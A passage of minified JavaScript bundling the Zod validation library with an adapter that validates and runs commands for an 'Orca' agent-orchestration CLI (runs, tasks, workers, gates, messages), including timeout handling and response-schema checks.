he?J(t._def.innerType):[],Ve=class t extends x{_parse(e){let{ctx:r}=this._processInputParams(e);if(r.parsedType!==p.object)return f(r,{code:l.invalid_type,expected:p.object,received:r.parsedType}),g;let n=this.discriminator,s=r.data[n],a=this.optionsMap.get(s);return a?r.common.async?a._parseAsync({data:r.data,path:r.path,parent:r}):a._parseSync({data:r.data,path:r.path,parent:r}):(f(r,{code:l.invalid_union_discriminator,options:Array.from(this.optionsMap.keys()),path:[n]}),g)}get discriminator(){return this._def.discriminator}get options(){return this._def.options}get optionsMap(){return this._def.optionsMap}static create(e,r,n){let s=new Map;for(let a of r){let i=J(a.shape[e]);if(!i.length)throw new Error(`A discriminator value for key \`${e}\` could not be extracted from all schema options`);for(let o of i){if(s.has(o))throw new Error(`Discriminator property ${String(e)} has duplicate value ${String(o)}`);s.set(o,a)}}return new t({typeName:_.ZodDiscriminatedUnion,discriminator:e,options:r,optionsMap:s,...v(n)})}};function Fe(t,e){let r=D(t),n=D(e);if(t===e)return{valid:!0,data:t};if(r===p.object&&n===p.object){let s=k.objectKeys(e),a=k.objectKeys(t).filter(o=>s.indexOf(o)!==-1),i={...t,...e};for(let o of a){let c=Fe(t[o],e[o]);if(!c.valid)return{valid:!1};i[o]=c.data}return{valid:!0,data:i}}else if(r===p.array&&n===p.array){if(t.length!==e.length)return{valid:!1};let s=[];for(let a=0;a<t.length;a++){let i=t[a],o=e[a],c=Fe(i,o);if(!c.valid)return{valid:!1};s.push(c.data)}return{valid:!0,data:s}}else return r===p.date&&n===p.date&&+t==+e?{valid:!0,data:t}:{valid:!1}}var de=class extends x{_parse(e){let{status:r,ctx:n}=this._processInputParams(e),s=(a,i)=>{if(Ne(a)||Ne(i))return g;let o=Fe(a.value,i.value);return o.valid?((Me(a)||Me(i))&&r.dirty(),{status:r.value,value:o.data}):(f(n,{code:l.invalid_intersection_types}),g)};return n.common.async?Promise.all([this._def.left._parseAsync({data:n.data,path:n.path,parent:n}),this._def.right._parseAsync({data:n.data,path:n.path,parent:n})]).then(([a,i])=>s(a,i)):s(this._def.left._parseSync({data:n.data,path:n.path,parent:n}),this._def.right._parseSync({data:n.data,path:n.path,parent:n}))}};de.create=(t,e,r)=>new de({left:t,right:e,typeName:_.ZodIntersection,...v(r)});var B=class t extends x{_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==p.array)return f(n,{code:l.invalid_type,expected:p.array,received:n.parsedType}),g;if(n.data.length<this._def.items.length)return f(n,{code:l.too_small,minimum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),g;!this._def.rest&&n.data.length>this._def.items.length&&(f(n,{code:l.too_big,maximum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),r.dirty());let a=[...n.data].map((i,o)=>{let c=this._def.items[o]||this._def.rest;return c?c._parse(new $(n,i,n.path,o)):null}).filter(i=>!!i);return n.common.async?Promise.all(a).then(i=>R.mergeArray(r,i)):R.mergeArray(r,a)}get items(){return this._def.items}rest(e){return new t({...this._def,rest:e})}};B.create=(t,e)=>{if(!Array.isArray(t))throw new Error("You must pass an array of schemas to z.tuple([ ... ])");return new B({items:t,typeName:_.ZodTuple,rest:null,...v(e)})};var Pe=class t extends x{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==p.object)return f(n,{code:l.invalid_type,expected:p.object,received:n.parsedType}),g;let s=[],a=this._def.keyType,i=this._def.valueType;for(let o in n.data)s.push({key:a._parse(new $(n,o,n.path,o)),value:i._parse(new $(n,n.data[o],n.path,o)),alwaysSet:o in n.data});return n.common.async?R.mergeObjectAsync(r,s):R.mergeObjectSync(r,s)}get element(){return this._def.valueType}static create(e,r,n){return r instanceof x?new t({keyType:e,valueType:r,typeName:_.ZodRecord,...v(n)}):new t({keyType:G.create(),valueType:e,typeName:_.ZodRecord,...v(r)})}},Oe=class extends x{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==p.map)return f(n,{code:l.invalid_type,expected:p.map,received:n.parsedType}),g;let s=this._def.keyType,a=this._def.valueType,i=[...n.data.entries()].map(([o,c],d)=>({key:s._parse(new $(n,o,n.path,[d,"key"])),value:a._parse(new $(n,c,n.path,[d,"value"]))}));if(n.common.async){let o=new Map;return Promise.resolve().then(async()=>{for(let c of i){let d=await c.key,m=await c.value;if(d.status==="aborted"||m.status==="aborted")return g;(d.status==="dirty"||m.status==="dirty")&&r.dirty(),o.set(d.value,m.value)}return{status:r.value,value:o}})}else{let o=new Map;for(let c of i){let d=c.key,m=c.value;if(d.status==="aborted"||m.status==="aborted")return g;(d.status==="dirty"||m.status==="dirty")&&r.dirty(),o.set(d.value,m.value)}return{status:r.value,value:o}}}};Oe.create=(t,e,r)=>new Oe({valueType:e,keyType:t,typeName:_.ZodMap,...v(r)});var Te=class t extends x{_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==p.set)return f(n,{code:l.invalid_type,expected:p.set,received:n.parsedType}),g;let s=this._def;s.minSize!==null&&n.data.size<s.minSize.value&&(f(n,{code:l.too_small,minimum:s.minSize.value,type:"set",inclusive:!0,exact:!1,message:s.minSize.message}),r.dirty()),s.maxSize!==null&&n.data.size>s.maxSize.value&&(f(n,{code:l.too_big,maximum:s.maxSize.value,type:"set",inclusive:!0,exact:!1,message:s.maxSize.message}),r.dirty());let a=this._def.valueType;function i(c){let d=new Set;for(let m of c){if(m.status==="aborted")return g;m.status==="dirty"&&r.dirty(),d.add(m.value)}return{status:r.value,value:d}}let o=[...n.data.values()].map((c,d)=>a._parse(new $(n,c,n.path,d)));return n.common.async?Promise.all(o).then(c=>i(c)):i(o)}min(e,r){return new t({...this._def,minSize:{value:e,message:h.toString(r)}})}max(e,r){return new t({...this._def,maxSize:{value:e,message:h.toString(r)}})}size(e,r){return this.min(e,r).max(e,r)}nonempty(e){return this.min(1,e)}};Te.create=(t,e)=>new Te({valueType:t,minSize:null,maxSize:null,typeName:_.ZodSet,...v(e)});var $e=class t extends x{constructor(){super(...arguments),this.validate=this.implement}_parse(e){let{ctx:r}=this._processInputParams(e);if(r.parsedType!==p.function)return f(r,{code:l.invalid_type,expected:p.function,received:r.parsedType}),g;function n(o,c){return Ae({data:o,path:r.path,errorMaps:[r.common.contextualErrorMap,r.schemaErrorMap,ve(),U].filter(d=>!!d),issueData:{code:l.invalid_arguments,argumentsError:c}})}function s(o,c){return Ae({data:o,path:r.path,errorMaps:[r.common.contextualErrorMap,r.schemaErrorMap,ve(),U].filter(d=>!!d),issueData:{code:l.invalid_return_type,returnTypeError:c}})}let a={errorMap:r.common.contextualErrorMap},i=r.data;if(this._def.returns instanceof K){let o=this;return A(async function(...c){let d=new E([]),m=await o._def.args.parseAsync(c,a).catch(N=>{throw d.addIssue(n(c,N)),d}),T=await Reflect.apply(i,this,m);return await o._def.returns._def.type.parseAsync(T,a).catch(N=>{throw d.addIssue(s(T,N)),d})})}else{let o=this;return A(function(...c){let d=o._def.args.safeParse(c,a);if(!d.success)throw new E([n(c,d.error)]);let m=Reflect.apply(i,this,d.data),T=o._def.returns.safeParse(m,a);if(!T.success)throw new E([s(m,T.error)]);return T.data})}}parameters(){return this._def.args}returnType(){return this._def.returns}args(...e){return new t({...this._def,args:B.create(e).rest(F.create())})}returns(e){return new t({...this._def,returns:e})}implement(e){return this.parse(e)}strictImplement(e){return this.parse(e)}static create(e,r,n){return new t({args:e||B.create([]).rest(F.create()),returns:r||F.create(),typeName:_.ZodFunction,...v(n)})}},ue=class extends x{get schema(){return this._def.getter()}_parse(e){let{ctx:r}=this._processInputParams(e);return this._def.getter()._parse({data:r.data,path:r.path,parent:r})}};ue.create=(t,e)=>new ue({getter:t,typeName:_.ZodLazy,...v(e)});var le=class extends x{_parse(e){if(e.data!==this._def.value){let r=this._getOrReturnCtx(e);return f(r,{received:r.data,code:l.invalid_literal,expected:this._def.value}),g}return{status:"valid",value:e.data}}get value(){return this._def.value}};le.create=(t,e)=>new le({value:t,typeName:_.ZodLiteral,...v(e)});function dt(t,e){return new fe({values:t,typeName:_.ZodEnum,...v(e)})}var fe=class t extends x{_parse(e){if(typeof e.data!="string"){let r=this._getOrReturnCtx(e),n=this._def.values;return f(r,{expected:k.joinValues(n),received:r.parsedType,code:l.invalid_type}),g}if(this._cache||(this._cache=new Set(this._def.values)),!this._cache.has(e.data)){let r=this._getOrReturnCtx(e),n=this._def.values;return f(r,{received:r.data,code:l.invalid_enum_value,options:n}),g}return A(e.data)}get options(){return this._def.values}get enum(){let e={};for(let r of this._def.values)e[r]=r;return e}get Values(){let e={};for(let r of this._def.values)e[r]=r;return e}get Enum(){let e={};for(let r of this._def.values)e[r]=r;return e}extract(e,r=this._def){return t.create(e,{...this._def,...r})}exclude(e,r=this._def){return t.create(this.options.filter(n=>!e.includes(n)),{...this._def,...r})}};fe.create=dt;var pe=class extends x{_parse(e){let r=k.getValidEnumValues(this._def.values),n=this._getOrReturnCtx(e);if(n.parsedType!==p.string&&n.parsedType!==p.number){let s=k.objectValues(r);return f(n,{expected:k.joinValues(s),received:n.parsedType,code:l.invalid_type}),g}if(this._cache||(this._cache=new Set(k.getValidEnumValues(this._def.values))),!this._cache.has(e.data)){let s=k.objectValues(r);return f(n,{received:n.data,code:l.invalid_enum_value,options:s}),g}return A(e.data)}get enum(){return this._def.values}};pe.create=(t,e)=>new pe({values:t,typeName:_.ZodNativeEnum,...v(e)});var K=class extends x{unwrap(){return this._def.type}_parse(e){let{ctx:r}=this._processInputParams(e);if(r.parsedType!==p.promise&&r.common.async===!1)return f(r,{code:l.invalid_type,expected:p.promise,received:r.parsedType}),g;let n=r.parsedType===p.promise?r.data:Promise.resolve(r.data);return A(n.then(s=>this._def.type.parseAsync(s,{path:r.path,errorMap:r.common.contextualErrorMap})))}};K.create=(t,e)=>new K({type:t,typeName:_.ZodPromise,...v(e)});var Z=class extends x{innerType(){return this._def.schema}sourceType(){return this._def.schema._def.typeName===_.ZodEffects?this._def.schema.sourceType():this._def.schema}_parse(e){let{status:r,ctx:n}=this._processInputParams(e),s=this._def.effect||null,a={addIssue:i=>{f(n,i),i.fatal?r.abort():r.dirty()},get path(){return n.path}};if(a.addIssue=a.addIssue.bind(a),s.type==="preprocess"){let i=s.transform(n.data,a);if(n.common.async)return Promise.resolve(i).then(async o=>{if(r.value==="aborted")return g;let c=await this._def.schema._parseAsync({data:o,path:n.path,parent:n});return c.status==="aborted"?g:c.status==="dirty"?te(c.value):r.value==="dirty"?te(c.value):c});{if(r.value==="aborted")return g;let o=this._def.schema._parseSync({data:i,path:n.path,parent:n});return o.status==="aborted"?g:o.status==="dirty"?te(o.value):r.value==="dirty"?te(o.value):o}}if(s.type==="refinement"){let i=o=>{let c=s.refinement(o,a);if(n.common.async)return Promise.resolve(c);if(c instanceof Promise)throw new Error("Async refinement encountered during synchronous parse operation. Use .parseAsync instead.");return o};if(n.common.async===!1){let o=this._def.schema._parseSync({data:n.data,path:n.path,parent:n});return o.status==="aborted"?g:(o.status==="dirty"&&r.dirty(),i(o.value),{status:r.value,value:o.value})}else return this._def.schema._parseAsync({data:n.data,path:n.path,parent:n}).then(o=>o.status==="aborted"?g:(o.status==="dirty"&&r.dirty(),i(o.value).then(()=>({status:r.value,value:o.value}))))}if(s.type==="transform")if(n.common.async===!1){let i=this._def.schema._parseSync({data:n.data,path:n.path,parent:n});if(!H(i))return g;let o=s.transform(i.value,a);if(o instanceof Promise)throw new Error("Asynchronous transform encountered during synchronous parse operation. Use .parseAsync instead.");return{status:r.value,value:o}}else return this._def.schema._parseAsync({data:n.data,path:n.path,parent:n}).then(i=>H(i)?Promise.resolve(s.transform(i.value,a)).then(o=>({status:r.value,value:o})):g);k.assertNever(s)}};Z.create=(t,e,r)=>new Z({schema:t,typeName:_.ZodEffects,effect:e,...v(r)});Z.createWithPreprocess=(t,e,r)=>new Z({schema:e,effect:{type:"preprocess",transform:t},typeName:_.ZodEffects,...v(r)});var P=class extends x{_parse(e){return this._getType(e)===p.undefined?A(void 0):this._def.innerType._parse(e)}unwrap(){return this._def.innerType}};P.create=(t,e)=>new P({innerType:t,typeName:_.ZodOptional,...v(e)});var q=class extends x{_parse(e){return this._getType(e)===p.null?A(null):this._def.innerType._parse(e)}unwrap(){return this._def.innerType}};q.create=(t,e)=>new q({innerType:t,typeName:_.ZodNullable,...v(e)});var me=class extends x{_parse(e){let{ctx:r}=this._processInputParams(e),n=r.data;return r.parsedType===p.undefined&&(n=this._def.defaultValue()),this._def.innerType._parse({data:n,path:r.path,parent:r})}removeDefault(){return this._def.innerType}};me.create=(t,e)=>new me({innerType:t,typeName:_.ZodDefault,defaultValue:typeof e.default=="function"?e.default:()=>e.default,...v(e)});var he=class extends x{_parse(e){let{ctx:r}=this._processInputParams(e),n={...r,common:{...r.common,issues:[]}},s=this._def.innerType._parse({data:n.data,path:n.path,parent:{...n}});return xe(s)?s.then(a=>({status:"valid",value:a.status==="valid"?a.value:this._def.catchValue({get error(){return new E(n.common.issues)},input:n.data})})):{status:"valid",value:s.status==="valid"?s.value:this._def.catchValue({get error(){return new E(n.common.issues)},input:n.data})}}removeCatch(){return this._def.innerType}};he.create=(t,e)=>new he({innerType:t,typeName:_.ZodCatch,catchValue:typeof e.catch=="function"?e.catch:()=>e.catch,...v(e)});var Se=class extends x{_parse(e){if(this._getType(e)!==p.nan){let n=this._getOrReturnCtx(e);return f(n,{code:l.invalid_type,expected:p.nan,received:n.parsedType}),g}return{status:"valid",value:e.data}}};Se.create=t=>new Se({typeName:_.ZodNaN,...v(t)});var cr=Symbol("zod_brand"),Ce=class extends x{_parse(e){let{ctx:r}=this._processInputParams(e),n=r.data;return this._def.type._parse({data:n,path:r.path,parent:r})}unwrap(){return this._def.type}},Ee=class t extends x{_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.common.async)return(async()=>{let a=await this._def.in._parseAsync({data:n.data,path:n.path,parent:n});return a.status==="aborted"?g:a.status==="dirty"?(r.dirty(),te(a.value)):this._def.out._parseAsync({data:a.value,path:n.path,parent:n})})();{let s=this._def.in._parseSync({data:n.data,path:n.path,parent:n});return s.status==="aborted"?g:s.status==="dirty"?(r.dirty(),{status:"dirty",value:s.value}):this._def.out._parseSync({data:s.value,path:n.path,parent:n})}}static create(e,r){return new t({in:e,out:r,typeName:_.ZodPipeline})}},ge=class extends x{_parse(e){let r=this._def.innerType._parse(e),n=s=>(H(s)&&(s.value=Object.freeze(s.value)),s);return xe(r)?r.then(s=>n(s)):n(r)}unwrap(){return this._def.innerType}};ge.create=(t,e)=>new ge({innerType:t,typeName:_.ZodReadonly,...v(e)});function at(t,e){let r=typeof t=="function"?t(e):typeof t=="string"?{message:t}:t;return typeof r=="string"?{message:r}:r}function ut(t,e={},r){return t?Y.create().superRefine((n,s)=>{let a=t(n);if(a instanceof Promise)return a.then(i=>{if(!i){let o=at(e,n),c=o.fatal??r??!0;s.addIssue({code:"custom",...o,fatal:c})}});if(!a){let i=at(e,n),o=i.fatal??r??!0;s.addIssue({code:"custom",...i,fatal:o})}}):Y.create()}var dr={object:j.lazycreate},_;(function(t){t.ZodString="ZodString",t.ZodNumber="ZodNumber",t.ZodNaN="ZodNaN",t.ZodBigInt="ZodBigInt",t.ZodBoolean="ZodBoolean",t.ZodDate="ZodDate",t.ZodSymbol="ZodSymbol",t.ZodUndefined="ZodUndefined",t.ZodNull="ZodNull",t.ZodAny="ZodAny",t.ZodUnknown="ZodUnknown",t.ZodNever="ZodNever",t.ZodVoid="ZodVoid",t.ZodArray="ZodArray",t.ZodObject="ZodObject",t.ZodUnion="ZodUnion",t.ZodDiscriminatedUnion="ZodDiscriminatedUnion",t.ZodIntersection="ZodIntersection",t.ZodTuple="ZodTuple",t.ZodRecord="ZodRecord",t.ZodMap="ZodMap",t.ZodSet="ZodSet",t.ZodFunction="ZodFunction",t.ZodLazy="ZodLazy",t.ZodLiteral="ZodLiteral",t.ZodEnum="ZodEnum",t.ZodEffects="ZodEffects",t.ZodNativeEnum="ZodNativeEnum",t.ZodOptional="ZodOptional",t.ZodNullable="ZodNullable",t.ZodDefault="ZodDefault",t.ZodCatch="ZodCatch",t.ZodPromise="ZodPromise",t.ZodBranded="ZodBranded",t.ZodPipeline="ZodPipeline",t.ZodReadonly="ZodReadonly"})(_||(_={}));var ur=(t,e={message:`Input not instance of ${t.name}`})=>ut(r=>r instanceof t,e),lt=G.create,ft=re.create,lr=Se.create,fr=ne.create,pt=se.create,pr=ae.create,mr=be.create,hr=ie.create,gr=oe.create,yr=Y.create,_r=F.create,vr=L.create,xr=we.create,kr=W.create,br=j.create,wr=j.strictCreate,Or=ce.create,Tr=Ve.create,Sr=de.create,Ir=B.create,Rr=Pe.create,Ar=Oe.create,Cr=Te.create,Er=$e.create,jr=ue.create,Nr=le.create,Mr=fe.create,Vr=pe.create,Pr=K.create,$r=Z.create,Zr=P.create,Lr=q.create,zr=Z.createWithPreprocess,Dr=Ee.create,Br=()=>lt().optional(),qr=()=>ft().optional(),Ur=()=>pt().optional(),Jr={string:(t=>G.create({...t,coerce:!0})),number:(t=>re.create({...t,coerce:!0})),boolean:(t=>se.create({...t,coerce:!0})),bigint:(t=>ne.create({...t,coerce:!0})),date:(t=>ae.create({...t,coerce:!0}))};var Fr=g;var Hr=["run-create","run-list","run-show","run-current","run-use","task-create","task-list","task-update","worker-start","worker-show","worker-read","worker-release","send","check","reply","ask","gate-create","gate-list","gate-resolve"],w=class extends Error{constructor(r,n,s,a,i,o,c){super(o);this.code=r;this.operation=n;this.phase=s;this.retrySafety=a;this.recovery=i;this.stderr=c}code;operation;phase;retrySafety;recovery;stderr;name="OrcaAdapterError"},y=u.string().regex(/^[A-Za-z][A-Za-z0-9_-]{0,127}$/),et=t=>u.string().refine(e=>e===e.normalize("NFC"),"must be NFC-normalized").refine(e=>!e.includes("\0")&&!/[\uD800-\uDFFF]/u.test(e),"contains an invalid code point").refine(e=>Buffer.byteLength(e,"utf8")>=1&&Buffer.byteLength(e,"utf8")<=t),M=et(16384),z=et(512),X=et(256),je=u.string().min(1).max(512).regex(/^[\x21-\x7E]+$/).refine(t=>!t.startsWith("-")&&!/[;&|`$<>\\(){}\[\]*?!'\"]/.test(t)),vt=je.refine(t=>Buffer.byteLength(t,"utf8")<=128),mt=u.number().int().min(1).max(100),We=u.number().int().min(250).max(6e5),De=u.enum(["pending","ready","dispatched","completed","failed","blocked"]),xt=u.enum(["pending","resolved"]),ze=u.enum(["status","dispatch","worker_done","merge_ready","escalation","handoff","question","decision_gate","heartbeat"]),Gr=u.enum(["low","normal","high","urgent"]),kt=u.enum(["auto","transcript","terminal"]),bt=u.enum(["claude","codex","cursor","droid","gemini","grok","opencode"]),wt=u.enum(["low","medium","high","xhigh"]),Q=(t,e,r=0)=>u.array(t).min(r).max(e).refine(n=>new Set(n).size===n.length,"items must be unique"),Ot=u.object({summary:M,artifacts:Q(X,32).optional()}).strict().refine(t=>Buffer.byteLength(JSON.stringify(t))<=32768),Yr=u.object({taskId:y.optional(),dispatchId:y.optional(),phase:X.optional(),outcome:u.enum(["succeeded","failed"]).optional(),filesModified:Q(X,128).optional(),reportPath:X.optional()}).strict().refine(t=>Object.keys(t).length>0,"payload must not be empty").refine(t=>Buffer.byteLength(JSON.stringify(t))<=32768),I=(t,e)=>u.object({operation:u.literal(t),...e}).strict(),Tt=u.union([I("run-create",{objective:M}),I("run-list",{limit:mt.optional(),cursor:je.optional()}),I("run-show",{id:y}),I("run-current",{}),I("run-use",{id:y}),I("task-create",{spec:M,title:z.optional(),deps:Q(y,64).optional(),parent:y.optional()}),I("task-list",{status:De.optional(),ready:u.boolean().optional(),brief:u.boolean().optional()}),I("task-update",{id:y,status:De,result:Ot.optional()}),I("worker-start",{task:y,agent:bt,model:vt.optional(),effort:wt.optional(),timeoutMs:We.optional()}).refine(t=>t.effort===void 0||t.model!==void 0,{message:"effort requires model"}),I("worker-show",{dispatch:y}),I("worker-read",{dispatch:y,source:kt.optional(),cursor:je.optional(),limit:mt.optional()}),I("worker-release",{dispatch:y}),I("send",{subject:z,body:M.optional(),type:ze.optional(),priority:Gr.optional(),threadId:y.optional(),payload:Yr.optional()}),I("check",{ack:y.optional(),unread:u.boolean().optional(),peek:u.boolean().optional(),all:u.boolean().optional(),types:Q(ze,ze.options.length,1).optional(),wait:u.boolean().optional(),timeoutMs:We.optional()}).refine(t=>[t.unread,t.peek,t.all].filter(e=>e===!0).length<=1,{message:"unread, peek, and all are mutually exclusive"}).refine(t=>t.timeoutMs===void 0||t.wait===!0,{message:"timeoutMs requires wait"}),I("reply",{id:y,body:M}),I("ask",{question:z.optional(),resume:y.optional(),options:Q(X,10,1).optional(),timeoutMs:We.optional()}).refine(t=>t.question===void 0!=(t.resume===void 0),{message:"exactly one of question or resume is required"}).refine(t=>t.options===void 0||t.question!==void 0,{message:"options require question"}).refine(t=>t.options?.every(e=>!/[,\r\n]/.test(e))??!0,{message:"ask options cannot contain comma, CR, or LF"}),I("gate-create",{task:y,question:z,options:Q(X,10,1).optional()}),I("gate-list",{task:y.optional(),status:xt.optional()}),I("gate-resolve",{id:y,resolution:M,task:y})]);function O(t,e){if(e.length>0&&e[0]==="-")throw new w("invalid_argument","runtime","validate","safe","Correct the rejected semantic value and retry.",`${t} has a flag-shaped value`);return[t,e]}function S(t,e){return e===void 0?[]:O(t,String(e))}function Ie(t,e){return e===!0?[t]:[]}function ht(t){let e=Tt.safeParse(t);if(!e.success){let s=Kr(t);throw new w(s===void 0?"invalid_operation":"invalid_argument",s??"runtime","validate","safe","Correct the semantic input and retry.",e.error.issues.map(a=>a.message).join("; "))}let r=e.data,n=Qr(r);return Object.freeze(["orchestration",r.operation,...n,"--json"])}function Kr(t){if(typeof t!="object"||t===null||!("operation"in t))return;let e=t.operation;return Hr.find(r=>r===e)}function Qr(t){switch(t.operation){case"run-create":return O("--objective",t.objective);case"run-list":return[...S("--limit",t.limit),...S("--cursor",t.cursor)];case"run-show":case"run-use":return O("--id",t.id);case"run-current":return[];case"task-create":return[...O("--spec",t.spec),...S("--task-title",t.title),...t.deps===void 0?[]:O("--deps",JSON.stringify(t.deps)),...S("--parent",t.parent)];case"task-list":return[...S("--status",t.status),...Ie("--ready",t.ready),...Ie("--brief",t.brief)];case"task-update":return[...O("--id",t.id),...O("--status",t.status),...t.result===void 0?[]:O("--result",JSON.stringify(t.result))];case"worker-start":return[...O("--task",t.task),"--worktree","current",...O("--agent",t.agent),...S("--model",t.model),...S("--effort",t.effort),...S("--timeout-ms",t.timeoutMs)];case"worker-show":case"worker-release":return O("--dispatch",t.dispatch);case"worker-read":return[...O("--dispatch",t.dispatch),...S("--source",t.source),...S("--cursor",t.cursor),...S("--limit",t.limit)];case"send":return[...O("--subject",t.subject),...S("--body",t.body),...S("--type",t.type),...S("--priority",t.priority),...S("--thread-id",t.threadId),...t.payload===void 0?[]:O("--payload",JSON.stringify(t.payload))];case"check":return[...S("--ack",t.ack),...Ie("--unread",t.unread),...Ie("--peek",t.peek),...Ie("--all",t.all),...t.types===void 0?[]:O("--types",t.types.join(",")),...Ie("--wait",t.wait),...S("--timeout-ms",t.timeoutMs)];case"reply":return[...O("--id",t.id),...O("--body",t.body)];case"ask":return[...t.question===void 0?O("--resume",t.resume):O("--question",t.question),...t.options===void 0?[]:O("--options",t.options.join(",")),...S("--timeout-ms",t.timeoutMs)];case"gate-create":return[...O("--task",t.task),...O("--question",t.question),...t.options===void 0?[]:O("--options",JSON.stringify(t.options))];case"gate-list":return[...S("--task",t.task),...S("--status",t.status)];case"gate-resolve":return[...O("--id",t.id),...O("--resolution",t.resolution)]}}function Xr(t={}){let e=t.platform??process.platform;if(e==="win32")return"orca.exe";if(e==="darwin")return"orca";if(e==="linux")return t.managedTerminal===!0?"orca":"orca-ide";throw new w("unsupported_platform","runtime","resolve","safe","Run the adapter on a supported Orca host.",`unsupported platform: ${e}`)}var en=3e4,tn=1048576,rn=65536,nn=1e3,sn=1e3,St=async t=>new Promise((e,r)=>{let n=Wr(t.executable,[...t.argv],{shell:t.shell,env:t.env,stdio:["ignore","pipe","pipe"],windowsHide:!0}),s=[],a=[],i=0,o=0,c=!1,d=!1,m=!1,T=!1,C,N,_e=V=>{c||(c=!0,clearTimeout(rt),C!==void 0&&clearTimeout(C),N!==void 0&&clearTimeout(N),e(V))},qe=()=>{n.kill("SIGTERM"),C??=setTimeout(()=>{n.kill("SIGKILL"),N??=setTimeout(()=>_e({exitCode:null,signal:"SIGKILL",stdout:Buffer.concat(s).toString("utf8"),stderr:Buffer.concat(a).toString("utf8"),timedOut:d,outputLimited:m,transportLost:!0}),sn)},nn)},rt=setTimeout(()=>{d=!0,qe()},t.timeoutMs);n.stdout.on("data",V=>{i+=V.length,i>t.maxStdoutBytes?(m=!0,qe()):s.push(V)}),n.stderr.on("data",V=>{o+=V.length,o>t.maxStderrBytes?(m=!0,qe()):a.push(V)}),n.once("spawn",()=>{T=!0}),n.once("error",V=>{if(!c){if(T){_e({exitCode:null,stdout:Buffer.concat(s).toString("utf8"),stderr:`${Buffer.concat(a).toString("utf8")} +process transport error: ${V.message}`,timedOut:d,outputLimited:m,transportLost:!0});return}c=!0,clearTimeout(rt),C!==void 0&&clearTimeout(C),N!==void 0&&clearTimeout(N),r(V)}}),n.once("close",(V,Mt)=>{c||_e({exitCode:V,signal:Mt,stdout:Buffer.concat(s).toString("utf8"),stderr:Buffer.concat(a).toString("utf8"),timedOut:d,outputLimited:m})})}),Re=y,b=t=>u.object(t).strict(),He=b({id:y,objective:M.optional(),coordinatorTerminalHandle:Re.optional()}),Ze=b({id:y,objective:M,home_database:u.string().min(1).max(128),coordinator_handle:Re,coordinator_pane_key:u.string().min(1).max(256),consumer_generation:u.number().int().positive(),legacy:u.number().int().min(0).max(1),created_at:u.string().min(1).max(64),updated_at:u.string().min(1).max(64)}),an=b({id:y,spec:M,title:z.optional(),deps:Q(y,64).optional(),parent:y.optional(),status:De,result:Ot.optional()}),Ge=b({id:y,run_id:y,parent_id:y.nullable(),created_by_terminal_handle:Re,created_by_pane_key:u.string().min(1).max(256),created_by_process_incarnation:u.string().min(1).max(512),created_by_run_generation:u.number().int().positive(),task_title:z,display_name:z,spec:M,status:De,deps:u.string().max(16384),result:u.string().max(32768).nullable(),created_at:u.string().min(1).max(64),completed_at:u.string().min(1).max(64).nullable()}),Le=b({requestId:u.string().uuid(),replayed:u.boolean()}),gt=b({consumerGeneration:u.number().int().positive()}),on=b({id:y,taskId:y,agent:bt.optional(),model:vt.optional(),effort:wt.optional(),state:X.optional(),terminalDisposition:u.enum(["released","retained"]).optional()}),cn=b({id:y,taskId:y,question:z,options:Q(X,10,1).optional(),status:xt,resolution:M.optional()}),yt=b({messageId:y}),dn=u.union([b({messageId:y,state:u.literal("answered"),answer:M}),b({messageId:y,state:u.literal("pending")})]),un=b({deliveryId:y.optional(),acknowledged:u.boolean().optional(),messages:u.array(b({id:y,type:ze,subject:z})).max(50).optional(),count:u.number().int().min(0).max(50).optional()}),ln={"run-create":u.union([b({runId:y}),b({run:Ze,binding:gt,mutation:Le})]),"run-list":b({runs:u.array(He).max(100),cursor:je.optional()}),"run-show":b({run:u.union([He,Ze])}),"run-current":u.union([b({run:He,coordinatorTerminalHandle:Re}),b({run:Ze.nullable()})]),"run-use":u.union([b({runId:y,coordinatorTerminalHandle:Re}),b({run:Ze,binding:gt,mutation:Le})]),"task-create":u.union([b({taskId:y}),b({task:Ge,mutation:Le})]),"task-list":u.union([b({tasks:u.array(an).max(100)}),b({runId:y,legacyReadOnly:u.boolean(),tasks:u.array(Ge).max(100),count:u.number().int().min(0).max(100)})]),"task-update":u.union([b({taskId:y}),b({task:Ge,mutation:Le})]),"worker-start":b({dispatchId:y,taskId:y}),"worker-show":b({dispatch:on}),"worker-read":b({dispatchId:y,source:kt,output:M,cursor:je.optional()}),"worker-release":b({dispatchId:y}),send:yt,check:un,reply:yt,ask:dn,"gate-create":b({gateId:y,taskId:y}),"gate-list":b({gates:u.array(cn).max(100)}),"gate-resolve":b({gateId:y,taskId:y})},fn=u.object({id:u.string().min(1).max(256),ok:u.boolean(),result:u.unknown().optional(),error:u.object({code:u.string().min(1).max(128),message:u.string().min(1).max(4096)}).strict().optional(),_meta:u.object({runtimeId:y,runtimeVersion:z.optional(),version:z.optional(),invokingTerminal:Re.optional()}).strict().optional()}).strict().refine(t=>t.ok?t.result!==void 0&&t.error===void 0:t.result===void 0&&t.error!==void 0),pn=u.object({id:u.string().min(1).max(256),ok:u.literal(!0),result:u.object({target:u.object({kind:u.literal("local")}).strict(),app:u.object({running:u.literal(!0),pid:u.number().int().positive(),desktopWindowStatus:u.enum(["available","unavailable"])}).strict(),runtime:u.object({state:u.literal("ready"),reachable:u.literal(!0),runtimeId:u.string().min(1).max(256),appVersion:u.string().regex(/^\d+\.\d+\.\d+(?:[-+].*)?$/),remoteUpdateSupport:u.object({installMode:u.string().min(1).max(128),automatic:u.boolean(),reason:u.string().min(1).max(256)}).strict(),capabilities:u.array(u.string().min(1).max(256)).max(256)}).strict(),graph:u.object({state:u.literal("ready")}).strict()}).strict(),_meta:u.object({runtimeId:u.string().min(1).max(256)}).strict()}).strict().refine(t=>t.result.runtime.runtimeId===t._meta.runtimeId,"runtime identity mismatch");function ee(t,e,r){return new w("ambiguous_after_possible_commit",t,e,"unrecoverably-ambiguous","Do not retry automatically; inspect the documented public read operation before choosing another mutation.",r)}function mn(t,e,r){let n;try{n=It(e)}catch{throw r?ee(t,"decode","stdout was not one JSON document"):new w("malformed_json",t,"decode","safe","Inspect Orca health and retry this read-only operation when safe.","stdout was 